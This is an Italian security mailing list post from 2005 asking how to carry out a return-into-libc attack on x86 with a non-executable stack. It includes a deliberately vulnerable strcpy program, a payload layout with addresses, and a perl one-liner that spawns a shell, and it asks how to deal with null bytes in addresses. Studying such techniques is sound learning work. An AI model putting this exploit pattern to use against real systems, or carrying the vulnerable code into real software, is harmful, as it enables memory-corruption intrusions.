
[ Home | Liste | F.A.Q. |
Risorse | Cerca... ]
[ Data: precedente
| successivo
| indice ]
[ Argomento: precedente
| successivo
| indice ]
Archivio: Settembre 2005 ml@sikurezza.org
Soggetto: [ml] return into libc
Mittente: rbtqwt
Data: Thu, 8 Sep 2005 01:56:22 +0200 (CEST)
Salve a tutti,
Cercando delle tecniche per l'exploiting di applicazioni con stack non
eseguibile, ho trovato la "return into libc", ma ho un problema nella sua
applicazione (su architettura x86).
Ho letto, (considerando i casi pià semplici), che l'EIP va fatto puntare
alla funzione system della libc con un buffer simile al seguente:
[ PADDING ][ system addr ][ exit addr ][ arg1 ][ arg2 ][ ... ]
Nel mio caso:
paddind: 28 bytes.
system: 0xb7eda5f0;
exit: 0xb7ecf6e0
arg1: 0xbffffe22 (indirizzo variabile d'ambiente SHELL=/bin/sh)
Quindi utilizzando ./vuln1 `perl -e 'print "A"x28 .
"\xf0\xa5\xed\xb7\xe0\xf6\xec\xb7\x24\xfe\xff\xbf"'` ottengo la shell.
Il problema sorge quando l'indirizzo della funzione system contiene dei
byte 0x00 (ex. system: 0x00731233): in questo caso la strcpy smette di
copiare il buffer, trovando il terminatore di stringa 0x00.
Come à possibile utilizzare questa tecnica anche nel caso sopra citato?
Quali altre tecniche vi sone per le applicazioni con stack non eseguibile?
// vuln1.c
main(int argc , char *argv[]) {
char buff[5];
strcpy(buff,argv[1]);
return 0;
}
Grazie, rbt
[ Home | Liste | F.A.Q. |
Risorse | Cerca... ]
www.sikurezza.org - Italian Security Mailing List
(c) 1999-2005